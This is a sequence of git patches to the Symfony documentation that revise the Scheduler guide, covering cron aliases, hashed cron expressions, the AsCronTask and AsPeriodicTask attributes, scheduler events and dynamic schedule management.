     namespace App\Scheduler\Handler;
 
+    use App\Scheduler\Message\SendDailySalesReports;
+    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
+
     #[AsMessageHandler]
     class SendDailySalesReportsHandler
     {
@@ -105,9 +108,13 @@ The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute,
 which by default references the schedule named ``default``, allows you to register
 on a particular schedule::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
+    use Symfony\Component\Scheduler\Attribute\AsSchedule;
+    use Symfony\Component\Scheduler\Schedule;
+    use Symfony\Component\Scheduler\ScheduleProviderInterface;
+
     #[AsSchedule]
     class SaleTaskProvider implements ScheduleProviderInterface
     {
@@ -168,22 +175,67 @@ Then, define the trigger date/time using the same syntax as the
 
     RecurringMessage::cron('* * * * *', new Message());
 
+.. tip::
+
+    Check out the `crontab.guru website`_ if you need help to construct/understand
+    cron expressions.
+
 You can also use some special values that represent common cron expressions:
 
-* ``#yearly``, ``#annually`` - Run once a year, midnight, Jan. 1 - ``0 0 1 1 *``
-* ``#monthly`` - Run once a month, midnight, first of month - ``0 0 1 * *``
-* ``#weekly`` - Run once a week, midnight on Sun - ``0 0 * * 0``
-* ``#daily``, ``#midnight`` - Run once a day, midnight - ``0 0 * * *``
-* ``#hourly`` - Run once an hour, first minute - ``0 * * * *``
+* ``@yearly``, ``@annually`` - Run once a year, midnight, Jan. 1 - ``0 0 1 1 *``
+* ``@monthly`` - Run once a month, midnight, first of month - ``0 0 1 * *``
+* ``@weekly`` - Run once a week, midnight on Sun - ``0 0 * * 0``
+* ``@daily``, ``@midnight`` - Run once a day, midnight - ``0 0 * * *``
+* ``@hourly`` - Run once an hour, first minute - ``0 * * * *``
 
 For example::
 
-    RecurringMessage::cron('#daily', new Message());
+    RecurringMessage::cron('@daily', new Message());
+
+Hashed Cron Expression
+~~~~~~~~~~~~~~~~~~~~~~
+
+If you have many trigger scheduled at same time (for example, at midnight, ``0 0 * * *``)
+this will create a very long running schedules list right at this time.
+This may cause an issue if a task has a memory leak.
+
+You can add a ``#``(for hash) symbol in expression to generate random value. The value
+is deterministic based on the message. This means that while the value is random, it is
+predictable and consistent. A message with string representation ``my task``
+and a defined frequency of ``# # * * *`` will have an idempotent frequency
+of ``56 20 * * *`` (every day at 8:56pm).
+
+A hash range ``#(x-y)`` can also be used. For example, ``# #(0-7) * * *`` means daily,
+some time between midnight and 7am. Using the ``#`` without a range creates a range
+of any valid value for the field. ``# # # # #`` is short for ``#(0-59) #(0-23) #(1-28)
+#(1-12) #(0-6)``.
+
+You can also use some special values that represent common hashed cron expressions:
+
+======================  ========================================================================
+Alias                   Converts to
+======================  ========================================================================
+``#hourly``             ``# * * * *`` (at some minute every hour)
+``#daily``              ``# # * * *`` (at some time every day)
+``#weekly``             ``# # * * #`` (at some time every week)
+``#weekly@midnight``    ``# #(0-2) * * #`` (at ``#midnight`` one day every week)
+``#monthly``            ``# # # * *`` (at some time on some day, once per month)
+``#monthly@midnight``   ``# #(0-2) # * *`` (at ``#midnight`` on some day, once per month)
+``#annually``           ``# # # # *`` (at some time on some day, once per year)
+``#annually@midnight``  ``# #(0-2) # # *``  (at ``#midnight`` on some day, once per year)
+``#yearly``             ``# # # # *`` alias for ``#annually``
+``#yearly@midnight``    ``# #(0-2) # # *`` alias for ``#annually@midnight``
+``#midnight``           ``# #(0-2) * * *`` (at some time between midnight and 2:59am, every day)
+======================  ========================================================================
 
-.. tip::
+For example::
 
-    Check out the `crontab.guru website`_ if you need help to construct/understand
-    cron expressions.
+    RecurringMessage::cron('#midnight', new Message());
+
+.. note::
+
+    The day of month range is ``1-28``, this is to account for February
+    which has a minimum of 28 days.
 
 .. versionadded:: 6.4
 
@@ -260,7 +312,7 @@ Then, define your recurring message::
 
 Finally, the recurring messages has to be attached to a schedule::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -344,7 +396,7 @@ via the ``stateful`` option (and the :doc:`Cache component </components/cache>`)
 This way, when it wakes up again, it looks at all the dates and can catch up on
 what it missed::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -366,7 +418,7 @@ To scale your schedules more effectively, you can use multiple workers. In such
 cases, a good practice is to add a :doc:`lock </components/lock>` to prevent the
 same task more than once::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -395,7 +447,7 @@ your message in a :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMess
 This allows you to specify a transport on which your message will be redispatched
 before being further redispatched to its corresponding handler::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]

From ca5921697e8cff5e051f8b43aca0bd4c61bb3910 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Jan 2024 17:18:36 +0100
Subject: [PATCH 5705/7107] Tweaks

---
 scheduler.rst | 21 +++++++++++----------
 1 file changed, 11 insertions(+), 10 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index fb29094034d..bec1741e1ff 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -192,22 +192,23 @@ For example::
 
     RecurringMessage::cron('@daily', new Message());
 
-Hashed Cron Expression
-~~~~~~~~~~~~~~~~~~~~~~
+Hashed Cron Expressions
+·······················
 
-If you have many trigger scheduled at same time (for example, at midnight, ``0 0 * * *``)
-this will create a very long running schedules list right at this time.
+If you have many triggers scheduled at same time (for example, at midnight, ``0 0 * * *``)
+this will create a very long running list of schedules at that exact time.
 This may cause an issue if a task has a memory leak.
 
-You can add a ``#``(for hash) symbol in expression to generate random value. The value
-is deterministic based on the message. This means that while the value is random, it is
-predictable and consistent. A message with string representation ``my task``
+You can add a hash symbol (``#``) in expressions to generate random values.
+Athough the values are random, they are predictable and consistent because they
+are generated based on the message. A message with string representation ``my task``
 and a defined frequency of ``# # * * *`` will have an idempotent frequency
 of ``56 20 * * *`` (every day at 8:56pm).
 
-A hash range ``#(x-y)`` can also be used. For example, ``# #(0-7) * * *`` means daily,
-some time between midnight and 7am. Using the ``#`` without a range creates a range
-of any valid value for the field. ``# # # # #`` is short for ``#(0-59) #(0-23) #(1-28)
+You can also use hash ranges (``#(x-y)``) to define the list of possible values
+for that random part. For example, ``# #(0-7) * * *`` means daily, some time
+between midnight and 7am. Using the ``#`` without a range creates a range of any
+valid value for the field. ``# # # # #`` is short for ``#(0-59) #(0-23) #(1-28)
 #(1-12) #(0-6)``.
 
 You can also use some special values that represent common hashed cron expressions:

From 5809a6a431650360b294f2d15872adf982ff8d80 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Jan 2024 17:23:36 +0100
Subject: [PATCH 5706/7107] [Scheduler] Remove mentions to Symfony 6.4

---
 scheduler.rst | 15 ---------------
 1 file changed, 15 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index bec1741e1ff..16b6a203cf0 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -238,10 +238,6 @@ For example::
     The day of month range is ``1-28``, this is to account for February
     which has a minimum of 28 days.
 
-.. versionadded:: 6.4
-
-    Since version 6.4, it is now possible to add and define a timezone as a 3rd argument
-
 Periodical Triggers
 ~~~~~~~~~~~~~~~~~~~
 
@@ -352,11 +348,6 @@ the Messenger component:
 .. image:: /_images/components/scheduler/generate_consume.png
     :alt: Symfony Scheduler - generate and consume
 
-.. versionadded:: 6.4
-
-    Since version 6.4, you can define your messages via a ``callback`` via the
-    :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
-
 Debugging the Schedule
 ----------------------
 
@@ -380,12 +371,6 @@ recurring messages. You can narrow down the list to a specific schedule:
         15 4 */3 * *        App\Messenger\Foo(0:17..)  Mon, 18 Dec 2023 ...
        -------------------- -------------------------- ---------------------
 
-.. versionadded:: 6.4
-
-    Since version 6.4, you can even specify a date to determine the next run date
-    using the ``--date`` option. Additionally, you have the option to display
-    terminated recurring messages using the ``--all`` option.
-
 Efficient management with Symfony Scheduler
 -------------------------------------------
 

From 6db82eacb77a9b5887a52b609d700843ef545b80 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Jan 2024 17:46:12 +0100
Subject: [PATCH 5707/7107] [Scheduler] Fix a minor syntax issue

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 16b6a203cf0..f37568fd4dd 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -193,7 +193,7 @@ For example::
     RecurringMessage::cron('@daily', new Message());
 
 Hashed Cron Expressions
-·······················
+.......................
 
 If you have many triggers scheduled at same time (for example, at midnight, ``0 0 * * *``)
 this will create a very long running list of schedules at that exact time.

From 445075cb7b2a031c2ab96da9e3efbdccf2533d0c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 22 Jan 2024 22:30:53 +0100
Subject: [PATCH 5708/7107] [Scheduler] Document events

---
 scheduler.rst | 97 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 97 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index b018df2c2fd..d29eb790de1 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -501,6 +501,103 @@ before being further redispatched to its corresponding handler::
         }
     }
 
+Scheduler Events
+----------------
+
+PreRunEvent
+~~~~~~~~~~~
+
+**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent`
+
+``PreRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
+or cancel message before it's consumed::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Scheduler\Event\PreRunEvent;
+
+    public function onMessage(PreRunEvent $event): void
+    {
+        $schedule = $event->getSchedule();
+        $context = $event->getMessageContext();
+        $message = $event->getMessage();
+
+        // do something with the schedule, context or message
+
+        // and/or cancel message
+        $event->shouldCancel(true);
+    }
+
+Execute this command to find out which listeners are registered for this event
+and their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\PreRunEvent"
+
+PostRunEvent
+~~~~~~~~~~~~
+
+**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PostRunEvent`
+
+``PostRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
+after message is consumed::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Scheduler\Event\PostRunEvent;
+
+    public function onMessage(PostRunEvent $event): void
+    {
+        $schedule = $event->getSchedule();
+        $context = $event->getMessageContext();
+        $message = $event->getMessage();
+
+        // do something with the schedule, context or message
+    }
+
+Execute this command to find out which listeners are registered for this event
+and their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\PostRunEvent"
+
+FailureEvent
+~~~~~~~~~~~~
+
+**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\FailureEvent`
+
+``FailureEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
+when message consumption throw an exception::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Scheduler\Event\FailureEvent;
+
+    public function onMessage(FailureEvent $event): void
+    {
+        $schedule = $event->getSchedule();
+        $context = $event->getMessageContext();
+        $message = $event->getMessage();
+
+        $error = $event->getError();
+
+        // do something with the schedule, context, message or error (logging, ...)
+
+        // and/or ignore failure event
+        $event->shouldIgnore(true);
+    }
+
+Execute this command to find out which listeners are registered for this event
+and their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\FailureEvent"
+
+.. versionadded:: 6.4
+
+    Methods ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` were introduced
+    in Symfony 6.4.
+
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/

From 9f854b1601294945cff49c34013c1d5c3f1db769 Mon Sep 17 00:00:00 2001
From: Thijs-jan Veldhuizen <779998+tjveldhuizen@users.noreply.github.com>
Date: Tue, 23 Jan 2024 09:29:57 +0100
Subject: [PATCH 5709/7107] Update pull_requests.rst

The GitHub documentation on ignoring files has moved
---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index dedb5c45cb8..e9e8470bb96 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -521,7 +521,7 @@ before merging.
 
 .. _ProGit: https://git-scm.com/book
 .. _GitHub: https://github.com/join
-.. _`GitHub's documentation`: https://help.github.com/github/using-git/ignoring-files
+.. _`GitHub's documentation`: https://docs.github.com/en/get-started/getting-started-with-git/ignoring-files
 .. _Symfony repository: https://github.com/symfony/symfony
 .. _Symfony releases page: https://symfony.com/releases#maintained-symfony-branches
 .. _`documentation repository`: https://github.com/symfony/symfony-docs

From f0197326258271ce614ac675101abe75838eee58 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 19 Jan 2024 13:20:10 +0100
Subject: [PATCH 5710/7107] [Scheduler] Add `AsCronTask` and `AsPeriodicTask`

---
 reference/attributes.rst |  7 +++
 scheduler.rst            | 93 +++++++++++++++++++++++++++++++++++++++-
 2 files changed, 99 insertions(+), 1 deletion(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 9f98ca30d5e..a929d38c3b0 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -86,6 +86,13 @@ Routing
 
 * :doc:`Route </routing>`
 
+Scheduler
+~~~~~~~~~
+
+* :ref:`AsCronTask <scheduler_cron-expression-triggers>`
+* :ref:`AsPeriodicTask <scheduler_periodical-triggers>`
+* :ref:`AsSchedule <scheduler_attaching-recurring-messages>`
+
 Security
 ~~~~~~~~
 
diff --git a/scheduler.rst b/scheduler.rst
index b018df2c2fd..3c3134e8e1e 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -96,6 +96,8 @@ Another important difference is that messages in the Scheduler component are
 recurring. They are represented via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
 class.
 
+.. _scheduler_attaching-recurring-messages:
+
 Attaching Recurring Messages to a Schedule
 ------------------------------------------
 
@@ -180,6 +182,8 @@ methods::
 Most of them can be created via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
 class, as shown in the following examples.
 
+.. _scheduler_cron-expression-triggers:
+
 Cron Expression Triggers
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -199,7 +203,43 @@ Then, define the trigger date/time using the same syntax as the
 
 .. versionadded:: 6.4
 
-    Since version 6.4, it is now possible to add and define a timezone as a 3rd argument
+    Since version 6.4, it is now possible to add and define a timezone as a 3rd argument.
+
+Another way of declaring cron triggers is to use the
+:class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
+on an invokable class::
+
+    // src/Scheduler/Task/SendDailySalesReports.php
+    namespace App\Scheduler\Task;
+
+    use Symfony\Component\Scheduler\Attribute\AsCronTask;
+
+    #[AsCronTask('0 0 * * *')]
+    class SendDailySalesReports
+    {
+        public function __invoke()
+        {
+            // ...
+        }
+    }
+
+This is the most basic way to define a cron trigger. However, the attribute
+takes more parameters to customize the trigger::
+
+    // adds randomly up to 6 seconds to the trigger time to avoid load spikes
+    #[AsCronTask('0 0 * * *', jitter: 6)]
+
+    // defines the method name to call instead as well as the arguments to pass to it
+    #[AsCronTask('0 0 * * *', method: 'sendEmail', arguments: ['email' => 'admin@symfony.com'])]
+
+    // defines the timezone to use
+    #[AsCronTask('0 0 * * *', timezone: 'Africa/Malabo')]
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
+    was introduced in Symfony 6.4.
+
 
 .. tip::
 
@@ -264,6 +304,8 @@ For example::
     The day of month range is ``1-28``, this is to account for February
     which has a minimum of 28 days.
 
+.. _scheduler_periodical-triggers:
+
 Periodical Triggers
 ~~~~~~~~~~~~~~~~~~~
 
@@ -279,6 +321,55 @@ defined by PHP datetime functions::
     $until = '2023-06-12';
     RecurringMessage::every('first Monday of next month', new Message(), $from, $until);
 
+Like cron triggers, you can also use the
+:class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute
+on an invokable class::
+
+    // src/Scheduler/Task/SendDailySalesReports.php
+    namespace App\Scheduler\Task;
+
+    use Symfony\Component\Scheduler\Attribute\AsPeriodicTask;
+
+    #[AsPeriodicTask(frequency: '1 day', from: '2022-01-01', until: '2023-06-12')]
+    class SendDailySalesReports
+    {
+        public function __invoke()
+        {
+            // ...
+        }
+    }
+
+.. note::
+
+    The ``from`` and ``until`` options are optional. If not defined, the task
+    will be executed indefinitely.
+
+The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigger::
+
+    // the frequency can be defined as an integer representing the number of seconds
+    #[AsPeriodicTask(frequency: 86400)]
+
+    // adds randomly up to 6 seconds to the trigger time to avoid load spikes
+    #[AsPeriodicTask(frequency: '1 day', jitter: 6)]
+
+    // defines the method name to call instead as well as the arguments to pass to it
+    #[AsPeriodicTask(frequency: '1 day', method: 'sendEmail', arguments: ['email' => 'admin@symfony.com'])]
+    class SendDailySalesReports
+    {
+        public function sendEmail(string $email): void
+        {
+            // ...
+        }
+    }
+
+    // defines the timezone to use
+    #[AsPeriodicTask(frequency: '1 day', timezone: 'Africa/Malabo')]
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute
+    was introduced in Symfony 6.4.
+
 Custom Triggers
 ~~~~~~~~~~~~~~~
 

From 8bdc50e8dda18ab8212b89da17b672deb8ad76bc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 10:41:31 +0100
Subject: [PATCH 5711/7107] Minor tweaks

---
 scheduler.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index d29eb790de1..a96f4baf561 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -510,7 +510,7 @@ PreRunEvent
 **Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent`
 
 ``PreRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
-or cancel message before it's consumed::
+or cancel a message before it's consumed::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Scheduler\Event\PreRunEvent;
@@ -540,7 +540,7 @@ PostRunEvent
 **Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PostRunEvent`
 
 ``PostRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
-after message is consumed::
+after a message is consumed::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Scheduler\Event\PostRunEvent;
@@ -567,7 +567,7 @@ FailureEvent
 **Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\FailureEvent`
 
 ``FailureEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule`
-when message consumption throw an exception::
+when a message consumption throws an exception::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Scheduler\Event\FailureEvent;
@@ -595,8 +595,8 @@ and their priorities:
 
 .. versionadded:: 6.4
 
-    Methods ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` were introduced
-    in Symfony 6.4.
+    The ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` events were
+    introduced in Symfony 6.4.
 
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron

From 33f50175329263c9bda1ef8e8f486380d8da6535 Mon Sep 17 00:00:00 2001
From: Allison Guilhem <allison.guilhem@gmail.com>
Date: Fri, 15 Dec 2023 14:39:50 +1100
Subject: [PATCH 5712/7107] [Scheduler] doc draft dynamic schedule

---
 scheduler.rst | 240 +++++++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 220 insertions(+), 20 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index a96f4baf561..7e009e11d6f 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -285,6 +285,11 @@ Custom Triggers
 Custom triggers allow to configure any frequency dynamically. They are created
 as services that implement :class:`Symfony\\Component\\Scheduler\\Trigger\\TriggerInterface`.
 
+.. versionadded:: 6.4
+
+    Since version 6.4, you can define your messages via a ``callback`` via the
+    :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
+
 For example, if you want to send customer reports daily except for holiday periods::
 
     // src/Scheduler/Trigger/NewUserWelcomeEmailHandler.php
@@ -356,10 +361,215 @@ Finally, the recurring messages has to be attached to a schedule::
         }
     }
 
-.. versionadded:: 6.4
+So, this RecurringMessage will encompass both the trigger, defining the generation frequency of the message, and the message itself, the one to be processed by a specific handler.
 
-    Since version 6.4, you can define your messages via a ``callback`` via the
-    :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
+But what is interesting to know is that it also provides you with the ability to generate your message(s) dynamically.
+
+A dynamic vision for the messages generated
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This proves particularly useful when the message depends on data stored in databases or third-party services.
+
+Taking your example of reports generation, it depends on customer requests.
+Depending on the specific demands, any number of reports may need to be generated at a defined frequency.
+For these dynamic scenarios, it gives you the capability to dynamically define our message(s) instead of statically.
+This is achieved by defining a :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
+
+Essentially, this means you can dynamically, at runtime, define your message(s) through a callback that gets executed each time the scheduler transport checks for messages to be generated::
+
+    // src/Scheduler/SaleTaskProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    RecurringMessage::trigger(
+                        new ExcludeHolidaysTrigger(
+                            CronExpressionTrigger::fromSpec('@daily'),
+                        ),
+                    // instead of being static as in the previous example
+                    new CallbackMessageProvider([$this, 'generateReports'], 'foo')),
+                    RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport())
+
+                );
+        }
+
+        public function generateReports(MessageContext $context)
+        {
+            // ...
+            yield new SendDailySalesReports();
+            yield new ReportSomethingReportSomethingElse();
+            ....
+        }
+    }
+
+Exploring alternatives for crafting your Recurring Messages
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+There is also another way to build a RecurringMessage, and this can be done simply by adding an attribute above a service or a command:
+:class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute and :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute.
+
+For both of these attributes, you have the ability to define the schedule to roll with using the ``schedule``option. By default, the ``default`` named schedule will be used.
+Also, by default, the ``__invoke`` method of your service will be called but, it's also possible to specify the method to call via the ``method``option and you can define arguments via ``arguments``option if necessary.
+
+The distinction between these two attributes lies in the options pertaining to the trigger:
+
+#. :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute:
+
+    #. You can configure various options such as ``frequencies``, ``from``, ``until`` and ``jitter``, encompassing options related to the trigger.
+
+#. :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute:
+
+    #. You can configure various options such as ``expression``, ``jitter``, encompassing options related to the trigger.
+
+By defining one of these two attributes, it enables the execution of your service or command, considering all the options that have been specified within the attributes.
+
+Managing Scheduled Messages
+---------------------------
+
+Modifying Scheduled Messages in real time
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+While planning a schedule in advance is beneficial, it is rare for a schedule to remain static over time.
+After a certain period, some RecurringMessages may become obsolete, while others may need to be integrated into our planning.
+
+As a general practice, to alleviate a heavy workload, the recurring messages in the schedules are stored in memory to avoid recalculation each time the scheduler transport generates messages.
+However, this approach can have a flip side.
+
+In the context of our sales company, certain promotions may occur during specific periods and need to be communicated repetitively throughout a given timeframe
+or the deletion of old reports needs to be halted under certain circumstances.
+
+This is why the Scheduler incorporates a mechanism to dynamically modify the schedule and consider all changes in real-time.
+
+Strategies for adding, removing, and modifying entries within the Schedule
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The schedule provides you with the ability to :method:`Symfony\\Component\\Scheduler\Schedule::add`, :method:`Symfony\\Component\\Scheduler\Schedule::remove`, or :method:`Symfony\\Component\\Scheduler\Schedule::clear` all associated recurring messages,
+resulting in the reset and recalculation of the in-memory stack of recurring messages.
+
+For instance, for various reasons, if there's no need to generate a report, a callback can be employed to conditionally skip generating of some or all reports.
+
+However, if the intention is to completely remove a recurring message and its recurrence,
+the :class:`Symfony\\Component\\Scheduler\Schedule` offers a :method:`Symfony\\Component\\Scheduler\Schedule::remove` or a :method:`Symfony\\Component\\Scheduler\Schedule::removeById` method.
+This can be particularly useful in your case, especially if you need to halt the generation of the recurring message, which involves deleting old reports.
+
+In your handler, you can check a condition and, if affirmative, access the :class:`Symfony\\Component\\Scheduler\Schedule` and invoke this method::
+
+    // src/Scheduler/SaleTaskProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    // ...
+                    $this->removeOldReports;
+                );
+        }
+
+        // ...
+
+        public function removeCleanUpMessage()
+        {
+            $this->getSchedule()->getSchedule()->remove($this->removeOldReports);
+        }
+    }
+
+    // src/Scheduler/Handler/.php
+    namespace App\Scheduler\Handler;
+
+    #[AsMessageHandler]
+    class CleanUpOldSalesReportHandler
+    {
+        public function __invoke(CleanUpOldSalesReport $cleanUpOldSalesReport): void
+        {
+            // do what you have to do
+
+            if ($isFinished) {
+                $this->mySchedule->removeCleanUpMessage();
+            }
+        }
+    }
+
+Nevertheless, this system may not be the most suitable for all scenarios. Also, the handler should ideally be designed to process the type of message it is intended for,
+without making decisions about adding or removing a new recurring message.
+
+For instance, if, due to an external event, there is a need to add a recurrent message aimed at deleting reports,
+it can be challenging to achieve within the handler. This is because the handler will no longer be called or executed once there are no more messages of that type.
+
+However, the Scheduler also features an event system that is integrated into a Symfony full-stack application by grafting onto Symfony Messenger events.
+These events are dispatched through a listener, providing a convenient means to respond.
+
+Managing Scheduled Messages via Events
+--------------------------------------
+
+A strategic event handling
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The goal is to provide flexibility in deciding when to take action while preserving decoupling.
+Three primary event types have been introduced types
+
+    #. PRE_RUN_EVENT
+
+    #. POST_RUN_EVENT
+
+    #. FAILURE_EVENT
+
+Access to the schedule is a crucial feature, allowing effortless addition or removal of message types.
+Additionally, it will be possible to access the currently processed message and its message context.
+
+In consideration of our scenario, you can easily listen to the PRE_RUN_EVENT and check if a certain condition is met.
+
+For instance, you might decide to add a recurring message for cleaning old reports again, with the same or different configurations, or add any other recurring message(s).
+
+If you had chosen to handle the deletion of the recurring message, you could have easily done so in a listener for this event.
+
+Importantly, it reveals a specific feature :method:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent::shouldCancel` that allows you to prevent the message of the deleted recurring message from being transferred and processed by its handler::
+
+    // src/Scheduler/SaleTaskProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    // ...
+                );
+                ->before(function(PreRunEvent $event) {
+                    $message = $event->getMessage();
+                    $messageContext = $event->getMessageContext();
+
+                    // can access the schedule
+                    $schedule = $event->getSchedule()->getSchedule();
+
+                    // can target directly the RecurringMessage being processed
+                    $schedule->removeById($messageContext->id);
+
+                    //Allow to call the ShouldCancel() and avoid the message to be handled
+                        $event->shouldCancel(true);
+                }
+                ->after(function(PostRunEvent $event) {
+                    // Do what you want
+                }
+                ->onFailure(function(FailureEvent $event) {
+                    // Do what you want
+                }
+        }
+    }
 
 Consuming Messages (Running the Worker)
 ---------------------------------------
@@ -408,31 +618,21 @@ recurring messages. You can narrow down the list to a specific schedule:
     # use the --all option to also display the terminated recurring messages
     $ php bin/console --all
 
-.. versionadded:: 6.4
-
-    The ``--date`` and ``--all`` options were introduced in Symfony 6.4.
-
 Efficient management with Symfony Scheduler
 -------------------------------------------
 
-When a worker is restarted or undergoes shutdown for a period, the Scheduler
-transport won't be able to generate the messages (because they are created
